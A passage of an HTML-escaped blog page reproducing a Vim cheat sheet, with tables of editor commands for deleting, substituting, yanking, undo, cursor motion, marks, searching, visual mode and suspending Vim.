lines\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eD\u003c/td\u003e\u003ctd\u003eDelete the characters under the cursor until the end of the line\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}x or \u003cbr/\u003e{Visual}d\u003c/td\u003e\u003ctd\u003eDelete the highlighted text (for {Visual} see \u003ca href=\"http://fprintf.net/vimCheatSheet.html#select\"\u003eSelecting Text\u003c/a\u003e).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}CTRL-H or \u003cbr/\u003e{Visual}\u003c/td\u003e\u003ctd\u003eWhen in Select mode: Delete the highlighted text\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}X or \u003cbr/\u003e{Visual}D\u003c/td\u003e\u003ctd\u003eDelete the highlighted lines\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]d[elete]\u003c/td\u003e\u003ctd\u003eDelete [range] lines (default: current line)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]d[elete] {count}\u003c/td\u003e\u003ctd\u003eDelete {count} lines, starting with [range]\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"Changing-or-Replacing-Text\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Changing-or-Replacing-Text\" class=\"headerlink\" title=\"Changing (or Replacing) Text\"\u003e\u003c/a\u003eChanging (or Replacing) Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003er{char}\u003c/td\u003e\u003ctd\u003ereplace the character under the cursor with {char}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003eEnter Insert mode, replacing characters rather than inserting\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e~\u003c/td\u003e\u003ctd\u003eSwitch case of the character under the cursor and move the cursor to the right. If a [count] is given, do that many characters.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e~{motion}\u003c/td\u003e\u003ctd\u003eswitch case of {motion} text.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}~\u003c/td\u003e\u003ctd\u003eSwitch case of highlighted text\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"Substituting\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Substituting\" class=\"headerlink\" title=\"Substituting\"\u003e\u003c/a\u003eSubstituting\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:[range]s[ubstitute]/{pattern}/{string}/[c][e][g][p][r][i][I] [count]\u003c/td\u003e\u003ctd\u003eFor each line in [range] replace a match of {pattern} with {string}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]s[ubstitute] [c][e][g][r][i][I] [count] :[range]\u0026amp;[c][e][g][r][i][I] [count]\u003c/td\u003e\u003ctd\u003eRepeat last :substitute with same search pattern and substitute string, but without the same flags. You may add extra flags\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eThe arguments that you can use for the substitute commands:\u003cbr/\u003e[c] Confirm each substitution. Vim positions the cursor on the matching\u003cbr/\u003e string. You can type:\u003cbr/\u003e ‘y’ to substitute this match\u003cbr/\u003e ‘n’ to skip this match\u003cbr/\u003e to skip this match\u003cbr/\u003e ‘a’ to substitute this and all remaining matches {not in Vi}\u003cbr/\u003e ‘q’ to quit substituting {not in Vi}\u003cbr/\u003e CTRL-E to scroll the screen up {not in Vi}\u003cbr/\u003e CTRL-Y to scroll the screen down {not in Vi}.\u003cbr/\u003e[e] When the search pattern fails, do not issue an error message and, in\u003cbr/\u003e particular, continue in maps as if no error occurred.\u003cbr/\u003e[g] Replace all occurrences in the line. Without this argument,\u003cbr/\u003e replacement occurs only for the first occurrence in each line.\u003cbr/\u003e[i] Ignore case for the pattern.\u003cbr/\u003e[I] Don’t ignore case for the pattern.\u003cbr/\u003e[p] Print the line containing the last substitute.\u003c/p\u003e\u003chr/\u003e\u003ch2 id=\"Copying-and-Moving-Text\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Copying-and-Moving-Text\" class=\"headerlink\" title=\"Copying and Moving Text\"\u003e\u003c/a\u003eCopying and Moving Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e“{a-zA-Z0-9.%#:-“}\u003c/td\u003e\u003ctd\u003eUse register {a-zA-Z0-9.%#:-“} for next delete, yank or put (use uppercase character to append with delete and yank) ({.%#:} only work with put).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:reg[isters]\u003c/td\u003e\u003ctd\u003eDisplay the contents of all numbered and named registers.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:reg[isters] {arg}\u003c/td\u003e\u003ctd\u003eDisplay the contents of the numbered and named registers that are mentioned in {arg}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:di[splay] [arg]\u003c/td\u003e\u003ctd\u003eSame as :registers.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]y{motion}\u003c/td\u003e\u003ctd\u003eYank {motion} text [into register x].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]yy\u003c/td\u003e\u003ctd\u003eYank [count] lines [into register x]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]Y\u003c/td\u003e\u003ctd\u003eyank [count] lines [into register x] (synonym for yy).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}[“x]y\u003c/td\u003e\u003ctd\u003eYank the highlighted text [into register x] (for {Visual} see \u003ca href=\"http://fprintf.net/vimCheatSheet.html#select\"\u003eSelecting Text\u003c/a\u003e).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}[“x]Y\u003c/td\u003e\u003ctd\u003eYank the highlighted lines [into register x]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]y[ank] [x]\u003c/td\u003e\u003ctd\u003eYank [range] lines [into register x].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]y[ank] [x] {count}\u003c/td\u003e\u003ctd\u003eYank {count} lines, starting with last line number in [range] (default: current line), [into register x].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]p\u003c/td\u003e\u003ctd\u003ePut the text [from register x] after the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]P\u003c/td\u003e\u003ctd\u003ePut the text [from register x] before the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]gp\u003c/td\u003e\u003ctd\u003eJust like “p”, but leave the cursor just after the new text.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]gP\u003c/td\u003e\u003ctd\u003eJust like “P”, but leave the cursor just after the new text.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[line]pu[t] [x]\u003c/td\u003e\u003ctd\u003ePut the text [from register x] after [line] (default current line).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[line]pu[t]! [x]\u003c/td\u003e\u003ctd\u003ePut the text [from register x] before [line] (default current line).\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"Undo-x2F-Redo-x2F-Repeat\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Undo-x2F-Redo-x2F-Repeat\" class=\"headerlink\" title=\"Undo/Redo/Repeat\"\u003e\u003c/a\u003eUndo/Redo/Repeat\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eu\u003c/td\u003e\u003ctd\u003eUndo [count] changes.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:u[ndo]\u003c/td\u003e\u003ctd\u003eUndo one change.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eCTRL-R\u003c/td\u003e\u003ctd\u003eRedo [count] changes which were undone.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:red[o]\u003c/td\u003e\u003ctd\u003eRedo one change which was undone.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eU\u003c/td\u003e\u003ctd\u003eUndo all latest changes on one line. {Vi: while not moved off of it}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e.\u003c/td\u003e\u003ctd\u003eRepeat last change, with count replaced with [count].\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"Moving-Around\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Moving-Around\" class=\"headerlink\" title=\"Moving Around\"\u003e\u003c/a\u003eMoving Around\u003c/h2\u003e\u003cp\u003eBasic motion commands:\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e k h l j \u003c/code\u003e\u003c/pre\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eh or\u003c/td\u003e\u003ctd\u003e[count] characters to the left (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003el or \u003cbr/\u003eor\u003c/td\u003e\u003ctd\u003e[count] characters to the right (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ek or \u003cbr/\u003eor \u003cbr/\u003eCTRL-P\u003c/td\u003e\u003ctd\u003e[count] lines upward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ej or \u003cbr/\u003eor \u003cbr/\u003eCTRL-J or \u003cbr/\u003eor \u003cbr/\u003eCTRL-N\u003c/td\u003e\u003ctd\u003e[count] lines downward (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003eTo the first character of the line (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003chome\u003e\u003c/home\u003e\u003c/td\u003e\u003ctd\u003eTo the first character of the line (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e^\u003c/td\u003e\u003ctd\u003eTo the first non-blank character of the line\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e$ or \u003cbr/\u003e\u003cend\u003e\u003c/end\u003e\u003c/td\u003e\u003ctd\u003eTo the end of the line and [count - 1] lines downward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eg0 or \u003cbr/\u003eg\u003chome\u003e\u003c/home\u003e\u003c/td\u003e\u003ctd\u003eWhen lines wrap (‘wrap on): To the first character of the screen line (exclusive). Differs from “0” when a line is wider than the screen. When lines don’t wrap (‘wrap’ off): To the leftmost character of the current line that is on the screen. Differs from “0” when the first character of the line is not on the screen.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eg^\u003c/td\u003e\u003ctd\u003eWhen lines wrap (‘wrap’ on): To the first non-blank character of the screen line (exclusive). Differs from “^” when a line is wider than the screen. When lines don’t wrap (‘wrap’ off): To the leftmost non-blank character of the current line that is on the screen. Differs from “^” when the first non-blank character of the line is not on the screen.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eg$ or \u003cbr/\u003eg\u0026lt;End\u0026amp;gr;\u003c/td\u003e\u003ctd\u003eWhen lines wrap (‘wrap’ on): To the last character of the screen line and [count - 1] screen lines downward (inclusive). Differs from “$” when a line is wider than the screen. When lines don’t wrap (‘wrap’ off): To the rightmost character of the current line that is visible on the screen. Differs from “$” when the last character of the line is not on the screen or when a count is used.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ef{char}\u003c/td\u003e\u003ctd\u003eTo [count]’th occurrence of {char} to the right. The cursor is placed on {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eF{char}\u003c/td\u003e\u003ctd\u003eTo the [count]’th occurrence of {char} to the left. The cursor is placed on {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003et{char}\u003c/td\u003e\u003ctd\u003eTill before [count]’th occurrence of {char} to the right. The cursor is placed on the character left of {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eT{char}\u003c/td\u003e\u003ctd\u003eTill after [count]’th occurrence of {char} to the left. The cursor is placed on the character right of {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e;\u003c/td\u003e\u003ctd\u003eRepeat latest f, t, F or T [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e,\u003c/td\u003e\u003ctd\u003eRepeat latest f, t, F or T in opposite direction [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e- \u003cminus\u003e\u003c/minus\u003e\u003c/td\u003e\u003ctd\u003e[count] lines upward, on the first non-blank character (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e+ or \u003cbr/\u003eCTRL-M or \u003cbr/\u003e\u003ccr\u003e\u003c/cr\u003e\u003c/td\u003e\u003ctd\u003e[count] lines downward, on the first non-blank character (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e_ \u003cunderscore\u003e\u003c/underscore\u003e\u003c/td\u003e\u003ctd\u003e[count] - 1 lines downward, on the first non-blank character (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cc-end\u003e or \u003cbr/\u003eG\u003c/c-end\u003e\u003c/td\u003e\u003ctd\u003eGoto line [count], default last line, on the first non-blank character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cc-home\u003e or \u003cbr/\u003egg\u003c/c-home\u003e\u003c/td\u003e\u003ctd\u003eGoto line [count], default first line, on the first non-blank character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cs-right\u003e or \u003cbr/\u003ew\u003c/s-right\u003e\u003c/td\u003e\u003ctd\u003e[count] words forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cc-right\u003e or \u003cbr/\u003eW\u003c/c-right\u003e\u003c/td\u003e\u003ctd\u003e[count] WORDS forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ee\u003c/td\u003e\u003ctd\u003eForward to the end of word [count]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eE\u003c/td\u003e\u003ctd\u003eForward to the end of WORD [count]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cs-left\u003e or \u003cbr/\u003eb\u003c/s-left\u003e\u003c/td\u003e\u003ctd\u003e[count] words backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cc-left\u003e or \u003cbr/\u003eB\u003c/c-left\u003e\u003c/td\u003e\u003ctd\u003e[count] WORDS backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ege\u003c/td\u003e\u003ctd\u003eBackward to the end of word [count]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003egE\u003c/td\u003e\u003ctd\u003eBackward to the end of WORD [count]\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eThese commands move over words or WORDS.\u003c/p\u003e\u003cp\u003eA word consists of a sequence of letters, digits and underscores, or a sequence of other non-blank characters, separated with white space (spaces, tabs, ). This can be changed with the ‘iskeyword’ option.\u003c/p\u003e\u003cp\u003eA WORD consists of a sequence of non-blank characters, separated with white space. An empty line is also considered to be a word and a WORD.\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e(\u003c/td\u003e\u003ctd\u003e[count] sentences backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e)\u003c/td\u003e\u003ctd\u003e[count] sentences forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{\u003c/td\u003e\u003ctd\u003e[count] paragraphs backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e}\u003c/td\u003e\u003ctd\u003e[count] paragraphs forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e]]\u003c/td\u003e\u003ctd\u003e[count] sections forward or to the next ‘{‘ in the first column. When used after an operator, then the ‘}’ in the first column.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e][\u003c/td\u003e\u003ctd\u003e[count] sections forward or to the next ‘}’ in the first column\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[[\u003c/td\u003e\u003ctd\u003e[count] sections backward or to the previous ‘{‘ in the first column\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[]\u003c/td\u003e\u003ctd\u003e[count] sections backward or to the previous ‘}’ in the first column\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eScreen movement commands\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ez.\u003c/td\u003e\u003ctd\u003eCenter the screen on the cursor\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ezt\u003c/td\u003e\u003ctd\u003eScroll the screen so the cursor is at the top\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ezb\u003c/td\u003e\u003ctd\u003eScroll the screen so the cursor is at the bottom\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"Marks\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Marks\" class=\"headerlink\" title=\"Marks\"\u003e\u003c/a\u003eMarks\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003em{a-zA-Z}\u003c/td\u003e\u003ctd\u003eSet mark {a-zA-Z} at cursor position (does not move the cursor, this is not a motion command).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003em’ or \u003cbr/\u003em`\u003c/td\u003e\u003ctd\u003eSet the previous context mark. This can be jumped to with the “‘’” or “``” command (does not move the cursor, this is not a motion command).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]ma[rk] {a-zA-Z}\u003c/td\u003e\u003ctd\u003eSet mark {a-zA-Z} at last line number in [range], column 0. Default is cursor line.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]k{a-zA-Z}\u003c/td\u003e\u003ctd\u003eSame as :mark, but the space before the mark name can be omitted.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e‘{a-z}\u003c/td\u003e\u003ctd\u003eTo the first non-blank character on the line with mark {a-z} (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e‘{A-Z0-9}\u003c/td\u003e\u003ctd\u003eTo the first non-blank character on the line with mark {A-Z0-9} in the correct file\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e`{a-z}\u003c/td\u003e\u003ctd\u003eTo the mark {a-z}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e`{A-Z0-9}\u003c/td\u003e\u003ctd\u003eTo the mark {A-Z0-9} in the correct file\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:marks\u003c/td\u003e\u003ctd\u003eList all the current marks (not a motion command).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:marks {arg}\u003c/td\u003e\u003ctd\u003eList the marks that are mentioned in {arg} (not a motion command). For example:\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"Searching\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Searching\" class=\"headerlink\" title=\"Searching\"\u003e\u003c/a\u003eSearching\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e/{pattern}[/]\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th occurrence of {pattern}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e/{pattern}/{offset}\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th occurrence of {pattern} and go {offset} lines up or down.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e/\u003ccr\u003e\u003c/cr\u003e\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th latest used pattern\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e//{offset}\u003ccr\u003e\u003c/cr\u003e\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th latest used pattern with new. If {offset} is empty no offset is used.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e?{pattern}[?]\u003ccr\u003e\u003c/cr\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th previous occurrence of {pattern}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e?{pattern}?{offset}\u003ccr\u003e\u003c/cr\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th previous occurrence of {pattern} and go {offset} lines up or down\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e?\u003ccr\u003e\u003c/cr\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th latest used pattern\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e??{offset}\u003ccr\u003e\u003c/cr\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th latest used pattern with new {offset}. If {offset} is empty no offset is used.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003en\u003c/td\u003e\u003ctd\u003eRepeat the latest “/“ or “?” [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eN\u003c/td\u003e\u003ctd\u003eRepeat the latest “/“ or “?” [count] times in opposite direction.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"Selecting-Text-Visual-Mode\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Selecting-Text-Visual-Mode\" class=\"headerlink\" title=\"Selecting Text (Visual Mode)\"\u003e\u003c/a\u003eSelecting Text (Visual Mode)\u003c/h2\u003e\u003cp\u003eTo select text, enter visual mode with one of the commands below, and use \u003ca href=\"http://fprintf.net/vimCheatSheet.html#motion\"\u003emotion commands\u003c/a\u003e to highlight the text you are interested in. Then, use some command on the text.\u003c/p\u003e\u003cp\u003eThe operators that can be used are:\u003cbr/\u003e ~ switch case\u003cbr/\u003e d delete\u003cbr/\u003e c change\u003cbr/\u003e y yank\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e shift right\u003cbr/\u003e \u0026lt; shift left\u003cbr/\u003e ! filter through external command\u003cbr/\u003e = filter through ‘equalprg’ option command\u003cbr/\u003e gq format lines to ‘textwidth’ length \u003c/p\u003e\u003c/blockquote\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ev\u003c/td\u003e\u003ctd\u003estart Visual mode per character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eV\u003c/td\u003e\u003ctd\u003estart Visual mode linewise.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cesc\u003e\u003c/esc\u003e\u003c/td\u003e\u003ctd\u003eexit Visual mode without making any changes\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"How-to-Suspend\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#How-to-Suspend\" class=\"headerlink\" title=\"How to Suspend\"\u003e\u003c/a\u003eHow to Suspend\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eCTRL-Z\u003c/td\u003e\u003ctd\u003eSuspend Vim, like “:stop”. Works in Normal and in Visual mode. In Insert and Command-line mode, the CTRL-Z is inserted as a normal character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:sus[pend][!] or \u003cbr/\u003e:st[op][!]\u003c/td\u003e\u003ctd\u003eSuspend Vim. If the ‘!’ is not given and ‘autowrite’ is set, every buffer with changes and a file name is written out. If the ‘!’ is given or ‘autowrite’ is not set, changed buffers are not written, don’t forget to bring Vim back to the foreground later!\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003cp\u003e\u003ca href=\"http://www.catb.org/hacker-emblem/\"\u003e\u003cimg src=\"http://www.catb.org/hacker-emblem/glider.png\"/\u003e\u003c/a\u003e\u003c/p\u003e\u003cp\u003eDaniel Gryniewicz / \u003ca 